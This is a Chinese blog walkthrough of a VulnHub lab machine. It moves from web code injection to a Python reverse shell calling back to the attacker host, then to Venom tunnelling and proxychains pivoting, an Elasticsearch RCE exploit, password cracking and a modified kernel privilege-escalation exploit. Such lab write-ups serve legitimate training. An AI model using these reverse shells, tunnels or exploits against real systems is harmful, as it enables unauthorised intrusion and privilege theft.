草庐IT

第四次打靶

我想对你说 2023-03-28 原文

靶机说明

1)靶机地址:

https://www.vulnhub.com/entry/boredhackerblog-social-network,454/

2)难度:中等

3)虚拟机软件推荐:virtualBox

4)本次涉及攻击手段:主机发现、端口扫描、服务发现、路径爬取、代码注入、Shell脚本、内网信息收集、内网穿透、漏洞利用、密码破解、本地提权、攻击代码修改

打靶过程

1)因靶机与kali主机都处于同网段仅主机模式,所以主机发现,首选二层主机发现工具arp-scan

# arp-scan -l

2)对发现的主机进行全端口扫描:发现开放了22

# nmap -p- 192.168.56.107

3)对发现的端口进行服务发现,因为并不能确定上述两个端口上面运行的是什么服务、服务版本

# nmap -p22,5000 -sV 192.168.56.107

​通过扫描发现5000端口上运行了一个httpd的web服务,且使用了基于python开发的werkzeug底层web框架,且目标系统使用的python版本是2.7.15

4)通过访问扫描到的web页面

http://10.0.2.17:5000

通过检查该页面无任何漏洞

5)对网站进行常规操作:对web应用程序路径进行发现,因为web应用程序常常在内部会包含一些隐藏的路径或隐藏的页面,这些隐藏页面或隐藏路径可能存在可以输入数据的函数的提交点

# dirsearch http://10.0.2.17:5000

发现了一个/admin的路径

6)对发现的路径进行访问:访问后发现是一个管理界面,该界面可以进行代码的执行,即输入框中输入的内容都会被交给exec()函数去执行

http://10.0.2.17:5000/admin

注:如果web应用程序过滤不严格,可以对输入的代码过滤不严格,可以利用代码执行的功能直接执行一个反弹shell的操作

7)通过前面扫描发现该网站是通过python开发的,所以此时可以使用python的代码执行功能,向表单中注入python代码来触发一个反弹的shell

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.0.2.7",4444))
os.dup2(s.fileno(),0)       
os.dup2(s.fileno(),1)       
os.dup2(s.fileno(),2)       
p=subprocess.call(["/bin/sh","-i"])

代码含义:通过导入系统默认的函数库,通过这些库去反弹连接kali:10.0.2.7主机的4444端口,通过这个连接,最后执行/bin/sh

8)在kali主机进行监听4444端口

#nc -lvvp 4444

9)虽然 上面获取到了root权限,但是因存在dockerfile文件(标准化部署docker容器的模板文件),由此可怀疑上述获取的系统只是一个docker容器的系统

#cat Dockerfile

10)100%确定该系统是一个docker容器运行的系统,

①查看根目录下是否存在dockerenv文件,存在90%说明是一个docker容器系统

②查看/proc/1/cgroup下是否有类似如下文件,如果有说明一定是一个容器系统。因为linux系统启动之后,pid为1表示该计算机系统上的初始化进程的ID,当初始化进程的cgroup文件包含着明确的docker镜像主机的指示信息,则100%可证明当前系统是一个docker容器,而且docker容器的hash值就是一长串字符

注:判断获取的系统权限是docker容器后,需要从docker容器当前隔离的环境下突破出来,找到宿主机,在对宿主机漏洞的利用拿到宿主机的最高权限

11)先查看当前docker容器的IP地址

此时可以将docker容器所处的网段视为当前这个网络中的内网网段,既然有内网网段,就可以在该内网网段中进一步发现该内网中有没有其他主机?如果存在其他主机,那会不会存在一些已知的漏洞?可不可以利用这些漏洞?进一步获得已知的信息,攻击更多的内网系统?

12)内网主机发现

①最简单方法:一个一个ping

②利用脚本,对内网主机进行扫描:先定义一个序列,在利用循环进行扫描,此处只扫描10个IP,对每一个IP发生一个ping包

# for i in $(seq 1 10); do ping -c 1 172.17.0.$i; done

发现了在内网主机发现了两个IP:172.17.0.1、172.17.0.2,此时对上述两个主机进行端口扫描,

问题:但是该网络处于一个内网网段,直接通过kali中的攻击工具对内网网段进行扫描网路不可达,要解决该问题,需要使用一种内网穿透技术,把kali到内网的路由打通

13)此处使用venom工具,在内网和kali主机之间建立一条隧道,基于该隧道生成一个代理,让其他工具可以通过代理去扫描内网主机

14)先将venom的客户端程序,传输到目标主机运行,再执行服务端程序,使得目标主机和kali主机之间建立一条隧道

①服务端:先在kali主机启动一个httpd的web服务

# cd Venom.v1.1.0/
# cp agent_linux_x64 a
# python3 -m http.server 80
# ./admin_linux_x64 -lport 9999

②客户端:获取客户端程序

#wget http://10.0.2.7/a
#chmod +x a 
#./a -rhost 10.0.2.7 -rport 9999

14)连接成功后,在服务端中进入节点,并在该节点启动一个socks的监听

>>>show
>>>goto 1
>>>socks 1080

15)为了使得kali主机上的所以工具都可以挂代理访问内网,需要使用proxychains工具,利用proxychains工具挂载配置的socks代理,让kali工具都可以利用该代理去攻击内网主机

#vim /ect/proxychains4.conf
[ProxyList]
socks5 127.0.0.1 1080

16)对内网进行扫描

①先对172.17.0.1进行扫描

# proxychains nmap -Pn -sT 172.17.0.1

发现该主机开发端口和最先扫描的靶机10.0.2.17的端口一致,此时对该主机的端口进行服务版本的扫描

# proxychains nmap -p22,5000 -sV -Pn -sT 172.17.0.1

在浏览器使用带来,对该内网地址进行访问,发现和访问10.0.2.17的结果一模一样

总结:根据以上发现,说明172.17.0.1就是10.0.2.17这台宿主机,只不过172.17.0.1是面向容器内网的IP地址,所以 该主机就是我们要攻击的目标主机

②对172.17.0.2进行端口扫描:发现了9200端口,该端口是elasticsearch的默认端口

#proxychains nmap -Pn -sT 172.17.0.2

对172.17.0.2的9200端口运行的服务进行扫描

#proxychains nmap -Pn -St -p9200 -sV 172.17.0.2

通过扫描发现9200运行的服务确实是Elasticsearch,且版本为1.4.2,Elasticsearch在历史版本上曾经出现过很严重的漏洞(RCE漏洞),此处可以怀疑该版本是否存在漏洞?如果存在漏洞又怎么利用?

17)在kali上搜索elasticsearch关键词

# searchsploit Elasticsearch

18)将前两个漏洞利用代码拷贝下来,按个尝试,执行完毕后,又发现获取到了一个root权限

# cp /usr/share/exploitdb/exploits/linux/remote/36337.py ./
# proxychains python2 36337.py 172.17.0.2

19)在其根目录下,发现了一个passwords文件,查看其文件内容

#cd /
#ls
#cat passwords

20)对上述密码hash值对其进行解密

21)利用ssh对刚才获取到的用户名和密码进行登录

#ssh john@10.0.2.17

22)查看能否提示sudo权限,该用户没有任何sudo权限

$ sudo -s 

23)通过之前发现该系统的内核为3.13

24)尝试利用内核漏洞进行提权,先搜索3.13,出现很多漏洞利用代码,挑选其中一个复制到本地

# searchsploit 3.13
#cp /usr/share/exploitdb/exploits/linux/local/37292.c ./

25)简单查看代码发现,该利用代码需要gcc编译,且在利用过程中同样需要gcc,但是在目标系统中是没有安装gcc的,所以即使在kali主机将代码编译后,业务发在目标主机正常运行

​上述源码中再次调用了gcc去查找到另外一个C语言的库文件/tmp/ofs-lib.c,再将该库文件编译成对应的/tmp/ofs-lib.so文件,然后在整个的漏洞利用过程中,再次加载ofs-lib.so文件

26)此时需要对代码进行简单修改:在kali中直接找到二进制的库文件ofs-lib.so,然后修改源码,当执行到该位置的时候,不在需要通过gcc去编译,而是直接调用库文件

# vim 37292.c

17)在kali直接编译37292.c文件,编译生成exp文件

# gcc -o exp 37292.c

18)在kali主机找当ofs-lib.so库文件

# locate ofs-lib.so
# cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so ./

19)将exp和ofs-lib.so文件下载到目标主机

①先在kali主机启动httpd服务

# python3 -m http.server 80

②在目标主机下载文件,并执行

#wget http://10.0.2.7/exp
#wget http://10.0.2.7/ofs-lib.so
#mv * /tmp
#cd /tmp
#chmod +x exp
#./exp
#id

总结:面对靶机,先进行了主机发现,之后针对已经发现的主机进行了端口扫描以及服务的扫描,当扫描结束之后,发现目标主机存在5000端口的web应用,尝试访问web应用,在web应用下没有收获任何漏洞,之后对web应用进行路径发现,发现了一个/admin的后台页面,在该后台地址发现了远程代码执行漏洞,利用反弹shell获取到了一个root权限,但是该root权限是一个容器系统,然后基于该容器系统对其内网的Ip地址段进行发现,发现过程中,识别出两个内网主机的IP地址,之后挂取代理进行内网穿透,对这两个地址进行全端口扫描,在扫描过程中,发现了在一台主机上发现了9000端口,该端口是Elasticserch的默认端口,又都Elasticserch进行漏洞的利用和攻击,成功拿下了172.17.0.2这台主机,在这台主机中发现了passwords这个文件,对其进行解密后,利用发现的用户名和密码对目标主机进行尝试登录,登录后发现只是一个普通用户权限,因目标主机使用的是内核较老的linux发行版,所以此时使用最直接的提权方法:针对内核的提权。但是漏洞利用代码无法直接在目标系统进行gcc的编译,所以只能修改代码,重新编译,然后将编译后的代码和库文件一起传输的目标系统,然后进行提权,获取到root权限

有关第四次打靶的更多相关文章

  1. ruby-on-rails - Ruby:给定日期找到下一个第二或第四个星期二 - 2

    我似乎找不到一种优雅的方式来做到这一点......给定一个日期,我如何找到下一个星期二,即日历月的第2个或第4个星期二?例如:给定2012-10-19然后返回2012-10-23或给定2012-10-31然后返回2012-11-13OctoberNovemberSuMoTuWeThFrSaSuMoTuWeThFrSa12345612378910111213456789101415161718192011121314151617212223242526271819202122232428293031252627282930 最佳答案

  2. 计算机网络笔记:TCP三次握手和四次挥手过程 - 2

    TCP是面向连接的协议,连接的建立和释放是每一次面向连接的通信中必不可少的过程。TCP连接的管理就是使连接的建立和释放都能正常地进行。三次握手TCP连接的建立—三次握手建立TCP连接①若主机A中运行了一个客户进程,当它需要主机B的服务时,就发起TCP连接请求,并在所发送的分段中用SYN=1表示连接请求,并产生一个随机发送序号x,如果连接成功,A将以x作为其发送序号的初始值:seq=x。主机B收到A的连接请求报文,就完成了第一次握手。客户端发送SYN=1表示连接请求客户端发送一个随机发送序号x,如果连接成功,A将以x作为其发送序号的初始值:seq=x②主机B如果同意建立连接,则向主机A发送确认报

  3. ruby-on-rails - Ruby DateTime 格式 : How can I get 1st, 第二、第三、第四? - 2

    首先,DateTime格式变量似乎没有在任何地方记录,因此对可以在rubydocs中向我展示此内容的任何人+1。其次,在查看Date.strftime函数代码时,我没有看到任何可以让我执行以下操作的内容:2010年9月9日,星期四有人知道这是否可行吗? 最佳答案 您可能想要takealookhere.总结time=DateTime.nowtime.strftime("%A,%B#{time.day.ordinalize}%Y")请注意,您在纯Ruby(2.0)中运行,您需要调用:require'active_support/core

  4. 2022“航天宏图杯”遥感影像耕地变化检测第四名方案简介 - 2

    这个赛题的训练数据其实和去年是一样的,只是是语义分割的评价指标改成了类似实例分割的指标。1.赛道背景变化检测对“耕地红线”、土地利用监管等应用具有重要意义。利用多时相遥感数据,采用多种图像处理和模式识别方法提取变化信息,并定量分析和确定地表变化的特征与过程,便是遥感变化检测的本质。传统遥感行业基于人工两期影像标注从而判别地物时相变化的方法受限于效率低、成本高等问题,难以满足实际应用需求,本赛道希望遴选出高效的遥感图像变化检测算法模型,对图像中的变化图斑信息进行高效识别,提高空间信息网络建设中遥感图像快速变化识别能力。2.赛道任务变化检测赛道力求对通过前后两时相的遥感影像,提取出地物发生变化的斑

  5. 微信小程序商城项目实战(第四篇:商品详情页) - 2

    实现商品详情页json里边设置一下页面标题"navigationBarTitleText":"商品详情"界面组成上方由一个轮播图展示,中间为商品信息,后台会返回图文详情富文本,前台只需赋值下方固定一个工具栏客服分享购物车添加购物车立即购买界面编写分享是将一个按钮隐藏且将其定位在分享处,客服也是一样的加入购物车:如果已经加入则提示已经加入…view>viewclass=

  6. javascript - 使用 css 定位器在 Protractor 中定位第二个、第三个、第四个……第八个元素 - 2

    我一直在使用Protractor进行测试,除了通过css之外无法引用该元素,因为它只具有给定的类属性。问题是有超过7个元素具有此类名称。因此我使用语法element.all(by.css('h4.ng-binding')).first();对于第一个,它工作正常,但对于其他人,它不起作用!我使用与第一个逻辑相同的逻辑。这是我的代码片段,供其他人找到它们。element.all(by.css('h4.ng-binding')).second();element.all(by.css('h4.ng-binding')).third();element.all(by.css('h4.ng-b

  7. 代码随想录算法训练营第四十二天-动态规划4|● 01背包问题,你该了解这些! ● 01背包问题,你该了解这些! 滚动数组 ● 416. 分割等和子集 - 2

    今天只有1道题,属于动态规划的01背包问题的应用。首先理解一下动态规划的01背包问题。推荐一个视频,动态规划DP0-1背包,这是我认为讲得最为通透的。很多讲解动态背包问题的,一上来就画二维表格,遍历背包或者遍历容量,其实本质上,根本就看不懂那个二维表格是什么意思,为什么容量每次都要从0开始遍历。从原理上讲,容量从0开始只是一种假设,为的是让后面的背包如果装东西了,那么背包容量就会减少,再减少了容量后,怎么挑选物品才会使得质量最高,因此需要从0遍历,这些都是起了给后面的递归初始化一个值的作用。 小偷偷东西,有一个8容量背包,那么他开始从编号4开始偷(也可以从编号1开始偷),他有两种选择,偷或者不

  8. 【点云处理技术之open3d】第四篇:使用open3d绘制常用类型——箭头、圆柱、长方体、球形、箭头、坐标轴和线条 - 2

    文章目录1.绘制圆锥2.绘制圆柱3.绘制长方体4.绘制球形5.绘制箭头6.绘制坐标轴7.绘制多边形和顶点8.一次绘制多个类型1.绘制圆锥用o3d.geometry.TriangleMesh.create_cone来绘制圆锥,radius控制其半径,height控制其高度importopen3daso3dcone=o3d.geometry.TriangleMesh.create_cone(radius=1.0,height=2.0,resolution=20,split=1)cone.compute_vertex_normals()cone.paint_uniform_color([0,1,0]

  9. 计算机网络(中科大郑烇)第四章笔记 - 2

    文章目录第四章网络层:数据平面1、导论1.1网络层:数据平面1.2网络层:数据平面、控制平面1.3网络层:控制平面2、路由器组成2.1路由器结构概述2.2输入端口功能2.3最长前缀匹配2.4输入端口缓存2.5交换结构2.6输出端口2.7调度机制3、IP:InternetProtocol3.1数据报格式3.2分片和重组3.3IPV4地址3.4DHCP:DynamicHostConfigurationProtocol3.5NAT:NetworkAddressTranslation3.6IPv64、通用转发和SDN4.1网络层4.2SDN4.3OpenFlow第四章网络层:数据平面1、导论1.1网络

  10. 小满Vue3第四十六章(Proxy跨域) - 2

    1.首先我们先了解一下什么是跨域主要是出于浏览器的同源策略限制,它是浏览器最核心也最基本的安全功能。当一个请求url的协议、域名、端口三者之间任意一个与当前页面url不同即为跨域。例如xxxx.com->xxxx.com存在跨域协议不同例如127.x.x.x:8001->127.x.x.x:8002存在跨域端口不同例如www.xxxx.com->www.yyyy.com存在跨域域名不同2.如何解决跨域jsonp这种方式在之前很常见,他实现的基本原理是利用了HTML里script元素标签没有跨域限制动态创建script标签,将src作为服务器地址,服务器返回一个callback接受返回的参数fu

随机推荐